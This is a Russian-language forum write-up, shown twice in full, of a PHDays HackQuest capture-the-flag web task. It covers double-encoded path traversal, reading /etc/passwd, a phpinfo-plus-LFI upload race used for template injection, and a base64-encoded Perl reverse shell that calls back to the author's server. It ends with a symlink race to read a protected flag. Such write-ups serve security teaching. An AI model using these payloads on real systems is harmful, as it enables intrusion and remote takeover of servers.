Isis
20.04.2016, 01:50
PhpSoCute
http://php.hackquest.phdays.com:88/
Дан какой-то бложек, с виду wordpress.
Доступны урлы: index.php -> index.html, wp-admin.html
Dirbuster нашел pi.php который показывает нам phpinfo.
После некоторого фазинга было понятно, что есть некий include или даже читалка файлов для запросов которые оканчиваются на html
http://php.hackquest.phdays.com:88/pi.php/1html
Такой запрос нам показал интересный параметр PATH_TRANSLATED - redirect:/t3mp473l04d3r.php
При обращении к этому файлу - 500 ошибка, видимо надо передавать какие-то гет параметры чтобы читать файлы, но это нам не нужно.
Пробуем doubleencode
http://php.hackquest.phdays.com:88/%69ndex.html (http://php.hackquest.phdays.com:88/%2569ndex.html)
(%2569 - i), сработало!
Попробуем опуститься на директорию ниже ..%252f и проитать файл index.php -
http://php.hackquest.phdays.com:88/..%2f/index.php.html (http://php.hackquest.phdays.com:88/..%252f/index.php.html)
Удача!
Читаем /etc/passwd
http://php.hackquest.phdays.com:88/..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd.html (http://php.hackquest.phdays.com:88/..%252f..%252f..%252f..%252f..%252f..%252fetc%252f passwd.html)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:MailingListManager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System(admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
flag:x:101:65534::/home/flag:/bin/false
Прочитать файл t3mp473l04d3r.php по пока непонятным причинам не удалось.
О, у нас есть phpinfo и lfi. так это же баг!
Суть вот в чем: нам надо послать какой-то файл на pi.php, pi.php выдаст нам массив $_FILES где будет указан временный путь куда загрузился наш файл вида /tmp/ololo
В это время нам надо проинклудить наш файл через lfi.
Проблема 1: Загруженный файл в /tmp доступен 20-30 секунд пока мы держим открытым сокет, но этого достаточно чтобы выполнить инклуд.
ПРоблема 2: Сайт работает на 2х нодах (2 разных виртуалки), т.е. файл мы можем загрузить в одну, а читать с другой. Решается реферешем страницы инклуда.
Для загрузки файла я использовал перл скрипт от Pashkela, но немного подифицировал: https://gist.github.com/firsov/52a249ab1b8da4dc9d2c654971e83f1c
Содержимое файла указывается в $phpcode, немного пофазил это значение и понял, что это template injection.
Usage: perl php.pl http://php.hackquest.phdays.com:88/pi.php
$phpcode='{var_dump(124)}';
http://hsto.org/files/2c3/b4b/987/2c3b4b9877b6464cabb7504b895fc1e7.png
Не обращаем внимания на ошибки - просто копируем строку
http://php.hackquest.phdays.com:88/..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fphpt30E85.html (http://php.hackquest.phdays.com:88/..%252f..%252f..%252f..%252f..%252f..%252ftmp%252f phpt30E85.html)
и вставляем в браузер.
Смотрим view-souce и видим:
int(124)
Отлично! php код выполняется.
Дальше я загнал перловый backconnect shell в base64
perl-e'use Socket;$i="127.0.0.MYSERVERIP";$p=4000;socket(S,PF_INET,SOCK_STREAM,getprotobyna me("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){op en(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
И проинклудил такую строку:
$phpcode = '{var_dump(system(base64_decode("cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTI3LjAuMC5NWVNFUl ZFUklQIjskcD00MDAwO3NvY2tldChTLFBGX0lORVQsU09DS19T VFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZW N0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtv cGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3 BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vc2ggLWkiKTt9 Oyc=")))}';
Тем временем на своем сервере у меня запущена команда nc -nlvkp 4000
На сервере увидел коннект с уязвимого хоста и ура, шелл есть.
http://hsto.org/files/832/007/2aa/8320072aaa2d4958a90130d485f614ee.png
ls -la /
http://hsto.org/files/ad3/bc3/753/ad3bc37533ec4f78b6cc171c9f823694.png
Здесь видно 2 файла от юзера flag: /binary и /flag
Прочитать нельзя.
Пробуем выполнить команду /binary flag - получаем ошибку.
Что же делать? Попробуем сделать symlink race condition
Запустим еще один терминал с этим сервером.
[Дальше будет без скринов и команды по памяти т.к. сервера уже недоступны]
В одном терминале запускаем /binary /tmp/lala в цикле
В другом терминале в цикле rm /tmp/lala; ln -s /flag /tmp/lala; rm /tmp/lala; echo azaza > /tmp/lala;
И получаем флаг.
За помощь спасибо mailbrush, yarbabin.
http://php.hackquest.phdays.com:88/
Дан какой-то бложек, с виду wordpress.
Доступны урлы: index.php -> index.html, wp-admin.html
Dirbuster нашел pi.php который показывает нам phpinfo.
После некоторого фазинга было понятно, что есть некий include или даже читалка файлов для запросов которые оканчиваются на html
http://php.hackquest.phdays.com:88/pi.php/1html
Такой запрос нам показал интересный параметр PATH_TRANSLATED - redirect:/t3mp473l04d3r.php
При обращении к этому файлу - 500 ошибка, видимо надо передавать какие-то гет параметры чтобы читать файлы, но это нам не нужно.
Пробуем doubleencode
http://php.hackquest.phdays.com:88/%69ndex.html (http://php.hackquest.phdays.com:88/%2569ndex.html)
(%2569 - i), сработало!
Попробуем опуститься на директорию ниже ..%252f и проитать файл index.php -
http://php.hackquest.phdays.com:88/..%2f/index.php.html (http://php.hackquest.phdays.com:88/..%252f/index.php.html)
Удача!
Читаем /etc/passwd
http://php.hackquest.phdays.com:88/..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd.html (http://php.hackquest.phdays.com:88/..%252f..%252f..%252f..%252f..%252f..%252fetc%252f passwd.html)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:MailingListManager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System(admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
flag:x:101:65534::/home/flag:/bin/false
Прочитать файл t3mp473l04d3r.php по пока непонятным причинам не удалось.
О, у нас есть phpinfo и lfi. так это же баг!
Суть вот в чем: нам надо послать какой-то файл на pi.php, pi.php выдаст нам массив $_FILES где будет указан временный путь куда загрузился наш файл вида /tmp/ololo
В это время нам надо проинклудить наш файл через lfi.
Проблема 1: Загруженный файл в /tmp доступен 20-30 секунд пока мы держим открытым сокет, но этого достаточно чтобы выполнить инклуд.
ПРоблема 2: Сайт работает на 2х нодах (2 разных виртуалки), т.е. файл мы можем загрузить в одну, а читать с другой. Решается реферешем страницы инклуда.
Для загрузки файла я использовал перл скрипт от Pashkela, но немного подифицировал: https://gist.github.com/firsov/52a249ab1b8da4dc9d2c654971e83f1c
Содержимое файла указывается в $phpcode, немного пофазил это значение и понял, что это template injection.
Usage: perl php.pl http://php.hackquest.phdays.com:88/pi.php
$phpcode='{var_dump(124)}';
http://hsto.org/files/2c3/b4b/987/2c3b4b9877b6464cabb7504b895fc1e7.png
Не обращаем внимания на ошибки - просто копируем строку
http://php.hackquest.phdays.com:88/..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fphpt30E85.html (http://php.hackquest.phdays.com:88/..%252f..%252f..%252f..%252f..%252f..%252ftmp%252f phpt30E85.html)
и вставляем в браузер.
Смотрим view-souce и видим:
int(124)
Отлично! php код выполняется.
Дальше я загнал перловый backconnect shell в base64
perl-e'use Socket;$i="127.0.0.MYSERVERIP";$p=4000;socket(S,PF_INET,SOCK_STREAM,getprotobyna me("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){op en(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
И проинклудил такую строку:
$phpcode = '{var_dump(system(base64_decode("cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTI3LjAuMC5NWVNFUl ZFUklQIjskcD00MDAwO3NvY2tldChTLFBGX0lORVQsU09DS19T VFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZW N0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtv cGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3 BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vc2ggLWkiKTt9 Oyc=")))}';
Тем временем на своем сервере у меня запущена команда nc -nlvkp 4000
На сервере увидел коннект с уязвимого хоста и ура, шелл есть.
http://hsto.org/files/832/007/2aa/8320072aaa2d4958a90130d485f614ee.png
ls -la /
http://hsto.org/files/ad3/bc3/753/ad3bc37533ec4f78b6cc171c9f823694.png
Здесь видно 2 файла от юзера flag: /binary и /flag
Прочитать нельзя.
Пробуем выполнить команду /binary flag - получаем ошибку.
Что же делать? Попробуем сделать symlink race condition
Запустим еще один терминал с этим сервером.
[Дальше будет без скринов и команды по памяти т.к. сервера уже недоступны]
В одном терминале запускаем /binary /tmp/lala в цикле
В другом терминале в цикле rm /tmp/lala; ln -s /flag /tmp/lala; rm /tmp/lala; echo azaza > /tmp/lala;
И получаем флаг.
За помощь спасибо mailbrush, yarbabin.